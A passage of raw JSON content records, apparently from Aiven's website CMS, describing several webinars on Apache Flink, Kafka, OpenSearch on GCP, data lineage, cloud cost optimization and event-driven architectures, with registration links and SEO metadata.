solution."}],"markDefs":[],"style":"normal"},{"_key":"98ae61f3ae31","_type":"block","children":[{"_key":"cdc05604a87c","_type":"span","marks":[],"text":"Highly recommended for:"}],"markDefs":[],"style":"normal"},{"_key":"aefbf91c4851","_type":"block","children":[{"_key":"0a7a42a8cfd0","_type":"span","marks":["strong"],"text":"Technical decision makers"},{"_key":"72f12c5e9aa1","_type":"span","marks":[],"text":" who want to ask the hard questions and make informed decisions about event stream processing and Apache Flink"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5d808f3fc0dd","_type":"block","children":[{"_key":"e7b3595156f9","_type":"span","marks":["strong"],"text":"Data platform owners/Product Managers/Product Owners"},{"_key":"398656cbbf63","_type":"span","marks":[],"text":" who want a broader perspective on how a stream processing managed service can unlock new use case scenarios"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"44a7f208d9f5","_type":"block","children":[{"_key":"aee909cf4338","_type":"span","marks":["strong"],"text":"Software architects/Platform Engineers"},{"_key":"756ff9cc92fe","_type":"span","marks":[],"text":" exploring stream processing solutions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"summary":"In this on-demand webinar, the Simplilearn architecture team shares the lessons and insights they gained from decoupling their architecture and how Aiven for Apache Kafka® allowed them to bring their strategy to fruition.\n\n","thankyouContent":[{"_key":"fbd89b4997a7","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Event streaming platforms","text":[{"_key":"44529d336668","_type":"block","children":[{"_key":"d73e0f88fab80","_type":"span","marks":[],"text":"During this webinar, David Esposito shares lessons learned from event streaming use cases in every industry over a global customer base:"}],"markDefs":[],"style":"normal"},{"_key":"43220a8cd35e","_type":"block","children":[{"_key":"8609a9f349ef0","_type":"span","marks":[],"text":"How to balance the total cost of ownership (TCO) of streaming solutions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"df011f9fb5ca","_type":"block","children":[{"_key":"145f150a75df0","_type":"span","marks":[],"text":"How to meet your critical recovery time objectives when choosing a streaming solution"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3cbd098bca3f","_type":"block","children":[{"_key":"27e9d1eadd110","_type":"span","marks":[],"text":"What does that mean for an engineering team’s on-call schedule?"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"4 ways to think like a software architect while evaluating solutions","variant":"mediaLeft","ytId":"5Y4RENkDypY"}],"title":"Decoupling systems to scale for growth: The experience of Simplilearn","ytId":"uFMkaW-dsaY"},"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"2fe63ad6-b75e-45dc-8d09-ddcfe0e93f72","_type":"reference"},"ctaText":"Watch webinar recording"},"publishedAt":"2023-03-02T11:26:48.731Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_type":"reference"},"tags":[{"_key":"00661714c6c3","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"0894da595cc5","_ref":"665d1689-e4a5-43d5-bfbe-a673d66b1a41","_type":"tag"},{"_key":"144b6e0d3104","_ref":"d0c7bf3b-528b-4883-ab1c-27409f645959","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"In this on-demand webinar, the Simplilearn architecture team shares the lessons and insights they gained from decoupling their architecture and how Aiven for Apache Kafka® allowed them to bring their strategy to fruition.\n","metaImage":{"_type":"mainImage","asset":{"_ref":"image-5d148d922dae9a14fb0c2f86d0ba01d1520afbe1-10000x5233-png","_type":"reference"}},"metaTitle":"Scaling for growth: Simplilearn's decoupling experience"},"slug":{"_type":"slug","current":"/webinar/decoupling-systems-to-scale-for-growth-the-experience-of-simplilearn"}} {"__i18n_lang":"en","_createdAt":"2023-02-24T09:12:42Z","_id":"9ec9c1a5-0be6-4503-b52d-79842a236d8e","_rev":"77RmzEfKMHZobuqIIwnCI3","_type":"webinar","_updatedAt":"2023-07-19T14:50:20Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"8567a0e2a0c2","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"7917c4aa925f","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"}],"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"hideSoMe":true,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"showProfilePage":true,"variant":"withBio"}],"contentIsGated":false,"downloadText":"Download","hasVideo":true,"registerForm":{"iframeHeight":800},"subtitle":[{"_key":"6d048cf081c5","_type":"block","children":[{"_key":"cee3db9656d40","_type":"span","marks":[],"text":"GDPR, data lineage, impact assessment, and security scans are only a few situations where proper metadata handling can turn a month-long project into a simple query."}],"markDefs":[],"style":"normal"},{"_key":"26f2d609e912","_type":"block","children":[{"_key":"7034d051b0c70","_type":"span","marks":[],"text":"The talk is about the hidden gold stored in metadata: starting by "},{"_key":"7034d051b0c71","_type":"span","marks":["strong"],"text":"defining use cases"},{"_key":"7034d051b0c72","_type":"span","marks":[],"text":", we'll then focus on point solutions "},{"_key":"7034d051b0c73","_type":"span","marks":["strong"],"text":"making metadata accessible"},{"_key":"7034d051b0c74","_type":"span","marks":[],"text":" for a precise technology. But companies' data efforts are rarely limited to a single tech, therefore we'll discuss how to design a system that collects, merges, and makes available metadata coming from different tools. Finally, we'll show an Open Source tool, "},{"_key":"7034d051b0c75","_type":"span","marks":["strong"],"text":"the Aiven metadata parser"},{"_key":"7034d051b0c76","_type":"span","marks":[],"text":", that can help harvest and query the metadata from a variety of different Open Source technologies."}],"markDefs":[],"style":"normal"},{"_key":"d16a4e758d19","_type":"block","children":[{"_key":"7f38a70a9e330","_type":"span","marks":[],"text":"If you want to "},{"_key":"7f38a70a9e331","_type":"span","marks":["strong"],"text":"programmatically keep control"},{"_key":"7f38a70a9e332","_type":"span","marks":[],"text":" over your dynamic data assets, this session is for you!"}],"markDefs":[],"style":"normal"},{"_key":"c9d63b3c10b2","_type":"block","children":[{"_key":"d8cba94fce58","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"90a0740098f5","_type":"block","children":[{"_key":"9064c75f129a","_type":"span","marks":["strong"],"text":"Related resources"}],"markDefs":[],"style":"normal"},{"_key":"b3d3fb82ed96","_type":"block","children":[{"_key":"893ae078b3120","_type":"span","marks":["b68f40bbe635"],"text":"Use Aiven's metadata parser to understand how your data flows"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"b68f40bbe635","_type":"link","href":"https://aiven.io/blog/metadata-parser"}],"style":"normal"}],"summary":"The talk is about the hidden gold stored in metadata: starting by defining use cases, we'll then focus on point solutions making metadata accessible for a precise technology.","title":"Create data lineage across different data technologies","ytId":"V07T_WyLRM8"},"publishedAt":"2023-05-15T08:10:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_type":"reference"},"tags":[{"_key":"958ede663f1f","_ref":"de070e21-d443-4ca4-bb45-c3c1058d4d21","_type":"tag"},{"_key":"fc827c4a78e5","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"The talk is about the hidden gold stored in metadata: starting by defining use cases, we'll then focus on point solutions making metadata accessible for a precise technology.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-06c073f3d2ae436a8334964edeeacfd2c54d09bf-1280x720-jpg","_type":"reference"}},"metaTitle":"Data lineage across multiple technologies | Aiven Webinar"},"slug":{"_type":"slug","current":"/webinar/create-data-lineage-across-different-data-technologies"}} {"__i18n_lang":"en","_createdAt":"2023-10-23T08:38:42Z","_id":"32b3bf64-9014-4233-b3b8-6b6d8469b029","_rev":"7qeFKv67V7UXtPEzbpfIj0","_type":"webinar","_updatedAt":"2024-01-25T14:47:47Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"4b7858a26515","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"98ffd11c436f","_ref":"91737d75-5248-44c0-b695-9a93bc7ca096","_type":"reference"}],"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","showProfilePage":false,"variant":"withBio"}],"contentIsGated":false,"downloadText":"Download","hasVideo":true,"registerForm":{"iframeHeight":800,"iframeSource":"https://go.aiven.io/l/890043/2023-10-24/t7x7b","title":"Don't miss out. Register now to secure your spot."},"subtitle":[{"_key":"a075d2fb8fee","_type":"block","children":[{"_key":"657934de4dcb","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"55f7fa9cd70f","_type":"image","asset":{"_ref":"image-336c8ba993307418150e5bb5cd61fe1728243897-1750x375-png","_type":"reference"}},{"_key":"0ccb249fffb3","_type":"block","children":[{"_key":"e4ee9da084d0","_type":"span","marks":[],"text":"Ever considered "},{"_key":"af006587e032","_type":"span","marks":["strong"],"text":"bringing OpenSearch’s powerful capabilities to your GCP data infrastructure"},{"_key":"d14c6dc9faa2","_type":"span","marks":[],"text":", but not sure where to start? Tune in to our webinar to hear top tips from Aiven’s technical experts and OpenSearch gurus. "}],"markDefs":[],"style":"normal"},{"_key":"c604b0aff67d","_type":"block","children":[{"_key":"842b9b1c6fbe","_type":"span","marks":[],"text":"Expect to learn: "}],"markDefs":[],"style":"normal"},{"_key":"88cdb9e910c6","_type":"block","children":[{"_key":"34397d94144a","_type":"span","marks":["strong"],"text":"What is OpenSearch"},{"_key":"25d9fefda82a","_type":"span","marks":[],"text":" and what makes it a superior search solution? "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"62642c5358e9","_type":"block","children":[{"_key":"74d05e0f05ae","_type":"span","marks":["strong"],"text":"3 reasons to integrate open source search capabilities"},{"_key":"0efd51dd45a1","_type":"span","marks":[],"text":" to your data infrastructure."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a371ea4f6483","_type":"block","children":[{"_key":"fc14427f8d74","_type":"span","marks":["strong"],"text":"3 real life examples of how peers successfully integrated Aiven for OpenSearch"},{"_key":"61ec90ee9f8a","_type":"span","marks":[],"text":" in their GCP data infra."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"summary":"Ever considered bringing OpenSearch’s powerful capabilities to your GCP data infrastructure, but not sure where to start? Tune in to our webinar to hear top tips from Aiven’s technical experts and OpenSearch gurus. ","thankyouContent":[{"_key":"5d72c7794885","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","caption":"Find out what OpenSearch is like with Aiven.","internalLink":{"_ref":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa","_type":"reference"},"title":"Aiven for OpenSearch"},"roundedCorners":"rounded-none","subtitle":[{"_key":"f8a060886f25","_type":"block","children":[{"_key":"3b46db14baa70","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"ae932c25465b","_type":"image","asset":{"_ref":"image-4eaf9b84bb083d96ac77029e8258303d8aedfb6a-1200x450-png","_type":"reference"}},{"_key":"080ea8997ed3","_type":"block","children":[{"_key":"4e284f4ad146","_type":"span","marks":[],"text":"We are happy to have you on board and excited to dive into OpenSearch with you. "}],"markDefs":[],"style":"normal"},{"_key":"8ab213cf9f6b","_type":"block","children":[{"_key":"dd9e2d057230","_type":"span","marks":[],"text":"You will receive a confirmation email shortly. "},{"_key":"965c162de90f","_type":"span","marks":["strong"],"text":"Keep an eye on your inbox and in your spam folder"},{"_key":"4bb3570e96b0","_type":"span","marks":[],"text":" 👀. "}],"markDefs":[],"style":"normal"},{"_key":"35a0023a6272","_type":"block","children":[{"_key":"062654a752940","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"22d56c033ad6","_type":"block","children":[{"_key":"66d36e796b2e","_type":"span","marks":["strong"],"text":"Add to your calendar: "},{"_key":"9325ebdcaa9b","_type":"span","marks":["c33ded91bbbe"],"text":"Google Calendar "},{"_key":"944340ded80b","_type":"span","marks":[],"text":"| "},{"_key":"f03c16c567ab","_type":"span","marks":["317a17353ef8"],"text":"Microsoft Outlook"}],"markDefs":[{"_key":"c33ded91bbbe","_type":"link","href":"https://go.aiven.io/opensearchwebinar"},{"_key":"317a17353ef8","_type":"link","href":"https://go.aiven.io/opensearchwebinar-ics"}],"style":"normal"},{"_key":"8de191710019","_type":"block","children":[{"_key":"14c542778466","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"25d25e35bd2c","_type":"block","children":[{"_key":"73ec0d0083d8","_type":"span","marks":[],"text":"If you know anyone who want to learn about OpenSearch,"},{"_key":"926dd0e18abe","_type":"span","marks":["strong"],"text":" "},{"_key":"3bcb896e1eac","_type":"span","marks":["strong","c674eed1f1b9"],"text":"share this link "},{"_key":"5058e9294618","_type":"span","marks":[],"text":"with them too. The more, the merrier!"}],"markDefs":[{"_key":"c674eed1f1b9","_type":"link","href":"https://aiven.io/webinar/aiven-for-opensearch-on-gcp"}],"style":"normal"},{"_key":"87c09322bda0","_type":"block","children":[{"_key":"7e2678c53c6d","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"d0e91c242b1f","_type":"block","children":[{"_key":"2ed649600690","_type":"span","marks":[],"text":"See you there. "}],"markDefs":[],"style":"normal"}],"title":"Thank you for registering!","variant":"oneColumn"}],"title":"Insights unlocked: ingest, search, aggregate, view, and analyse data with Aiven for OpenSearch on GCP","ytId":"r5gSIi2aTH8"},"publishedAt":"2023-11-22T00:00:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_type":"reference"},"tags":[{"_key":"bc818b0ae5e2","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"b99039196150","_ref":"17773fab-43cf-4f70-873a-8da1274cde0f","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Tune in to our webinar to hear top tips from Aiven’s technical experts and OpenSearch gurus on how to bring OpenSearch’s powerful capabilities to your GCP data infrastructure. ","metaImage":{"_type":"mainImage","asset":{"_ref":"image-ef2d65e87ade2a11117c0f6271ef2930621f1388-1200x628-png","_type":"reference"}},"metaTitle":"Webinar: Aiven for OpenSearch on Google Cloud Platform"},"slug":{"_type":"slug","current":"/webinar/aiven-for-opensearch-on-gcp"}} {"__i18n_lang":"en","_createdAt":"2023-07-18T08:37:38Z","_id":"47e2eccc-fc6b-47c2-a0f7-7c266595b7f6","_rev":"Q0E4krIrrKzFT4b6rTQenD","_type":"webinar","_updatedAt":"2023-07-19T13:05:56Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"7626a823f0a1","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"avatars":[{"_key":"11a079419979","_ref":"29dcb771-16aa-4366-9197-590b46fe9803","_type":"reference"},{"_key":"4b706e17231d","_ref":"ea3cca71-45c7-48c7-8cc9-6479cbb57b45","_type":"reference"}],"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"variant":"withBio"},{"_key":"b33ba5aad60a","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"14fb05e30279","_ref":"09984051-2fbb-4356-83b1-4a439dc158bb","_type":"reference"},{"_key":"97ac12ab61a4","_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_type":"reference"},{"_key":"1c53366aec89","_ref":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_type":"reference"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Related resources"}],"contentIsGated":false,"hasVideo":true,"registerForm":{"iframeHeight":800,"iframeSource":"https://go.aiven.io/l/890043/2023-05-31/sgndj","iframeTitle":"Register Webinar BYOC","title":"Register for June 15th at 9 AM ET | 3 PM CET"},"subtitle":[{"_key":"b70a94acb94f","_type":"block","children":[{"_key":"5e6bcb3a02410","_type":"span","marks":[],"text":"As organizations migrate workloads to the cloud, infrastructure costs can quickly become a major expense. However, optimizing cloud costs goes beyond simply reducing overall spend."}],"markDefs":[],"style":"normal"},{"_key":"31187508dd05","_type":"block","children":[{"_key":"7761d13ec2cd0","_type":"span","marks":[],"text":"In this webinar, Aiven's customer Talon.One, who "},{"_key":"2391b28b07c2","_type":"span","marks":["strong"],"text":"manages over 250 databases totaling over 17 terabytes"},{"_key":"fd13734952cc","_type":"span","marks":[],"text":", dives into strategies and tactics for optimizing cloud infrastructure. They discuss both tactical and continuous methods, sharing challenges, implemented solutions, and outcomes."}],"markDefs":[],"style":"normal"},{"_key":"2f2cf6c8866c","_type":"block","children":[{"_key":"ae498b9c78420","_type":"span","marks":[],"text":"Join us to discover how to optimize cloud infrastructure costs for long-term success. Witness Talon.One's game-changing achievement as, with Aiven's latest cost optimization exercise, they "},{"_key":"dde94b72bc5b","_type":"span","marks":["strong"],"text":"successfully reduced their PostgreSQL costs by a third"},{"_key":"4357715debc5","_type":"span","marks":[],"text":". Learn how to decrease TCO while ensuring high levels of uptime, security, and resiliency for your services."}],"markDefs":[],"style":"normal"}],"summary":"Explore strategies and tactics for optimizing cloud infrastructure, from tactical and easy-to-execute methods to strategic and continuous solutions. ","thankyouContent":[{"_key":"5ef60e1edd8c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","alt":"Thank you for registering ","asset":{"_ref":"image-bb5cba3ee0a050264c85fcd7712ab8814e58a1b4-3295x1724-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_type":"reference"},"title":"Read blog post"},"rounded":false,"text":[{"_key":"7d9cd3b8510d","_type":"block","children":[{"_key":"8307cf7cdc62","_type":"span","marks":[],"text":"You should receive an invitation soon! "}],"markDefs":[],"style":"normal"},{"_key":"5275c87670b4","_type":"block","children":[{"_key":"0af8c48edc10","_type":"span","marks":[],"text":"Meanwhile, learn how to optimize your cloud data infrastructure spend with Aiven’s Bring Your Own Cloud (BYOC)"}],"markDefs":[],"style":"normal"}],"title":"Thank you for registering! ","variant":"mediaLeft"}],"title":"Optimizing Cloud Infrastructure: Strategies for Short, Mid, and Long Term Success with Talon.One","ytId":"8i9BluzXJ5A"},"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"yvkqRSBe6LC3RTgyKXyOf","_type":"reference"},"ctaText":"Watch webinar recording","previewImage":{"_type":"mainImage","asset":{"_ref":"image-11ea666cf78c3cf112e61d66f07895ed5fb6fcd1-1280x720-jpg","_type":"reference"}}},"publishedAt":"2023-07-18T11:35:49.914Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_type":"reference"},"tags":[{"_key":"8a0676378e92","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"03eeda22d632","_ref":"de070e21-d443-4ca4-bb45-c3c1058d4d21","_type":"tag"},{"_key":"46514684f437","_ref":"7f1cc870-dac8-4021-b5e0-0067d7aa5d95","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Discover effective strategies to optimize cloud infrastructure costs: short-term fixes to long-term tactics. Join Aiven and Talon.One experts.","metaImage":{"_type":"mainImage","alt":"C2C Fireside chat - Aiven + Talon.One","asset":{"_ref":"image-11ea666cf78c3cf112e61d66f07895ed5fb6fcd1-1280x720-jpg","_type":"reference"}},"metaTitle":"Cloud Infrastructure Success Strategies by Talon.One"},"slug":{"_type":"slug","current":"/webinar/optimizing-cloud-infrastructure"}} {"__i18n_lang":"en","_createdAt":"2023-12-18T13:23:14Z","_id":"85e42fc8-262f-4764-870f-ba6a5426df69","_rev":"BVCcENH0vc5ii3wXmD066H","_type":"webinar","_updatedAt":"2024-03-21T10:00:41Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"7626a823f0a1","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"a2b3bfa2f108","_ref":"899a955a-c0a0-4346-9586-e392438a6d8f","_type":"reference"}],"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"roundedCorners":"rounded-b","showProfilePage":false,"variant":"withBio"},{"_key":"b33ba5aad60a","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"f9f8fde8a46f","_ref":"12782707-33fe-4a65-9171-84db5d5c6139","_type":"webinar"},{"_key":"fffb8b3e2957","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Explore Aiven Platform"},"image":{"_type":"mainImage","asset":{"_ref":"image-2c6a141c98d57da2a9c9db28506031a9a6f3f5fd-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"e96d544634db","_type":"block","children":[{"_key":"94d0cfe1b38b0","_type":"span","marks":[],"text":"One platform for streaming, storing and analyzing data on any cloud."}],"markDefs":[],"style":"normal"}],"tagline":"Service","title":"Aiven Platform","variant":"default"},{"_key":"376968946ec5","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"4e339088-4dba-4897-a1ea-06c572b37577","_type":"reference"},"title":"Learn More"},"image":{"_type":"mainImage","asset":{"_ref":"image-a4eac6c62770b888c25d0e518be239eb66e0472b-1200x628-jpg","_type":"reference"}},"subtitle":[{"_key":"3d2a7ea8688f","_type":"block","children":[{"_key":"43d85df38d930","_type":"span","marks":[],"text":"Get the proven open source data services you love on Google Cloud."}],"markDefs":[],"style":"normal"}],"tagline":"Partner","title":"Aiven + Google Cloud Partnership","variant":"default"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Related resources"}],"contentIsGated":true,"hasVideo":false,"registerForm":{"iframeHeight":500,"iframeSource":"https://go.aiven.io/l/890043/2023-12-18/tf7rv","title":"Watch the session recording"},"registrationType":"iframe","subtitle":[{"_key":"3de5b028a780","_type":"block","children":[{"_key":"cc1c56ebe9df","_type":"span","marks":["strong"],"text":"Enterprise Integration Summit: Integration Developer News Webinar"}],"markDefs":[],"style":"normal"},{"_key":"88b246248902","_type":"block","children":[{"_key":"6051320a87c7","_type":"span","marks":[],"text":"Discover the flexibility and integration points that empower your organization to build "},{"_key":"235d91e3bfc4","_type":"span","marks":["strong"],"text":"robust data foundations"},{"_key":"095376f413af","_type":"span","marks":[],"text":". "}],"markDefs":[],"style":"normal"},{"_key":"781428f6faec","_type":"block","children":[{"_key":"a45ff407a64f","_type":"span","marks":[],"text":"Turn traditional search applications into GPT interfaces with Vector Databases, or abstract your data layer logic from legacy code to build "},{"_key":"d762f2d2b438","_type":"span","marks":["strong"],"text":"real-time streaming"},{"_key":"e4541ccc58a3","_type":"span","marks":[],"text":" event driven architectures."}],"markDefs":[],"style":"normal"},{"_key":"0619ea934072","_type":"block","children":[{"_key":"cac4903ae18b","_type":"span","marks":[],"text":"We will explore Aiven’s contributions to these important areas that can unlock insights and drive better results for your business, all while increasing your customer’s satisfaction!"}],"markDefs":[],"style":"normal"}],"summary":"Explore transformative event-driven architectures. Gain insights to enhance user experiences and achieve tangible business results.","thankyouContent":[{"_key":"5546b38f64d8","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"6b297bfca929","_type":"block","children":[{"_key":"520fe11f71d20","_type":"span","marks":[],"text":"You can watch the webinar "},{"_key":"97a81c79550e","_type":"span","marks":["strong"],"text":"Build Event-Driven Architectures and Empower GenAI Applications with Aiven "},{"_key":"c6f4337c5298","_type":"span","marks":[],"text":"here. We hope you enjoy the session!"}],"markDefs":[],"style":"normal"}],"title":"Enjoy the webinar!","variant":"mediaLeft","ytId":"7qLcTOFzpnk"}],"title":"Build Event Driven Architectures and Empower GenAI Applications","ytId":"5A-xFMKlnL8"},"publishedAt":"2023-12-07T17:00:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_type":"reference"},"tags":[{"_key":"8a0676378e92","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"77eb33c133b9","_ref":"d0c7bf3b-528b-4883-ab1c-27409f645959","_type":"tag"},{"_key":"28ce8df0d5dd","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Explore transformative event-driven architectures. Gain insights to enhance user experiences and achieve tangible business results.","metaImage":{"_type":"mainImage","alt":"IDN Webinar recording with Chris Butler","asset":{"_ref":"image-e5881eac29f40773a996a4b894969431b744d75e-1920x1080-png","_type":"reference"}},"metaTitle":"Empower GenAI: Build Event-Driven Architectures"},"slug":{"_type":"slug","current":"/webinar/build-event-driven-architectures-with-genai-applications"}} {"__i18n_lang":"en","_createdAt":"2023-03-02T11:12:47Z","_id":"e8c75ccd-71ce-4cef-82de-117a66c53609","_rev":"rpwBSMa1i11HwZnbWsvVUd","_type":"webinar","_updatedAt":"2023-09-27T13:07:34Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"7626a823f0a1","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"avatars":[{"_key":"be34e91422f0","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"},{"_key":"43c63059de06","_ref":"37f35a80-44f4-47c1-8578-3d2c3f6f76ef","_type":"reference"}],"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"variant":"withBio"},{"_key":"0750abe28c01","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"c5291548fcf1","_ref":"2gd1vIdghZUUbOpQMshxXS","_type":"reference"},{"_key":"349f3cd71542","_ref":"6Try3Yao44IvWVZPip4pzx","_type":"reference"},{"_key":"c18aaad0189a","_ref":"5ee6de8e-7637-4e70-a253-b3bd1e7d220f","_type":"devArticle"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Related resources"}],"contentIsGated":false,"hasVideo":true,"registerForm":{"iframeHeight":800,"iframeSource":"https://go.aiven.io/l/890043/2022-11-16/lmv1b","iframeTitle":"Webinar Event streaming platforms","title":"Watch on demand"},"subtitle":[{"_key":"c17d8615ef9d","_type":"block","children":[{"_key":"e0e06644dd400","_type":"span","marks":[],"text":"In this webinar, you'll find out:"}],"markDefs":[],"style":"normal"},{"_key":"da277bf6ab59","_type":"block","children":[{"_key":"3a500b88c0fb0","_type":"span","marks":[],"text":"What is Apache Flink, and why you should use it"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"05af1fdfe157","_type":"block","children":[{"_key":"e72aca241ab20","_type":"span","marks":[],"text":"What is "},{"_key":"73c0c7d9a84f","_type":"span","marks":["4613af1e28fc"],"text":"Aiven for Apache Flink"},{"_key":"eaabcb7e4e4b","_type":"span","marks":[],"text":", and what features are supported today"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"4613af1e28fc","_type":"internalLink","internalLink":{"_ref":"53f983e1-0b44-4570-8e1d-2f495cea3f7c","_type":"reference"}}],"style":"normal"},{"_key":"f4806ce9370e","_type":"block","children":[{"_key":"6ecda02dba060","_type":"span","marks":[],"text":"What features are under development to improve your experience in the near future"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4a77526d3424","_type":"block","children":[{"_key":"f83cfe984be90","_type":"span","marks":[],"text":"We'll end the session with a short demo of Aiven for Apache Flink in action."}],"markDefs":[],"style":"normal"},{"_key":"c66fde8a0a30","_type":"block","children":[{"_key":"dfc846c830810","_type":"span","marks":[],"text":"Highly recommended for:"}],"markDefs":[],"style":"normal"},{"_key":"3eab1b9f3088","_type":"block","children":[{"_key":"d8b1a8f3cf9d0","_type":"span","marks":["strong"],"text":"Technical decision 